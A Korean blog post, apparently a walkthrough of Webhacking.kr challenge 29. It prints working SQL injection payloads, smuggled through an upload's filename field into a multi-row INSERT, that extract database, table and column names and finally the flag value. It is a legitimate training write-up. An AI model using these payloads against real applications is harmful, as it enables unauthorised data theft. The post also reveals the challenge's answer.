안녕하세요.
웹 해킹 29번 문제풀이 하겠습니다.
우선, test 파일을 업로드하였을 때 "Upload success"가 나오는 것으로 보아 파일 업로드 취약점으로 접근하면 안 될 거 같습니다.
우리는 FLAG값을 알아야하는데 "FLAG is in another table"인 것으로 보아 FLAG값이 다른 테이블에 있고 그 테이블을 찾으면 될 거 같습니다. 우리는 다른 테이블에 있는 FLAG값을 알아내기 위해 SQL 인젝션을 시도해 보겠습니다.
우선, 버프스위트를 사용하여 time / ip / file이 insert 되는 순서를 알아보겠습니다.
INSERT INTO 테이블명 VALUES 가 다중으로 데이터를 넣을 수 있는 특징이 있기에, 이 결과를 이용해 탐색해보겠습니다.
ex ) INSERT INTO 테이블명 VALUES (‘a’, ‘b’, ‘c’), (‘d’, ‘e’, ‘f’);
1. filename, time, ip -> Upload Success
2. time, filename, ip -> Upload error!
이제 filename이 첫번째 위치하는 것을 알았으니 데이터베이스명, 테이블명, 칼럼명 순서대로 추출해보겠습니다.
# 데이터베이스명 - chall29
filename="file', 123, '나의 IP'),((SELECT database()), 123, '나의 IP')#"
# 테이블명 - files, flag_congratz
filename="file', 123, '나의 IP'),((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='chall29' ), 123, '나의 IP')#"
# 컬럼명 - flag
filename="file', 123, '나의 IP'),((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='flag_congratz' ), 123, '나의 IP')#"
# FLAG 값 - FLAG{didYouFeelConfused?_sorry:)}
filename="file', 123, '나의 IP'),((SELECT flag FROM flag_congratz), 123, '나의 IP')#"
감사합니다.
'Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr 32번 문제풀이 (0) | 2021.01.13 |
---|---|
Webhacking.kr 31번 문제풀이 (0) | 2021.01.10 |
Webhacking.kr 28번 문제풀이 (0) | 2021.01.07 |
Webhacking.kr 27번 문제풀이 (1) | 2021.01.05 |
Webhacking.kr 26번 문제풀이 (0) | 2020.12.31 |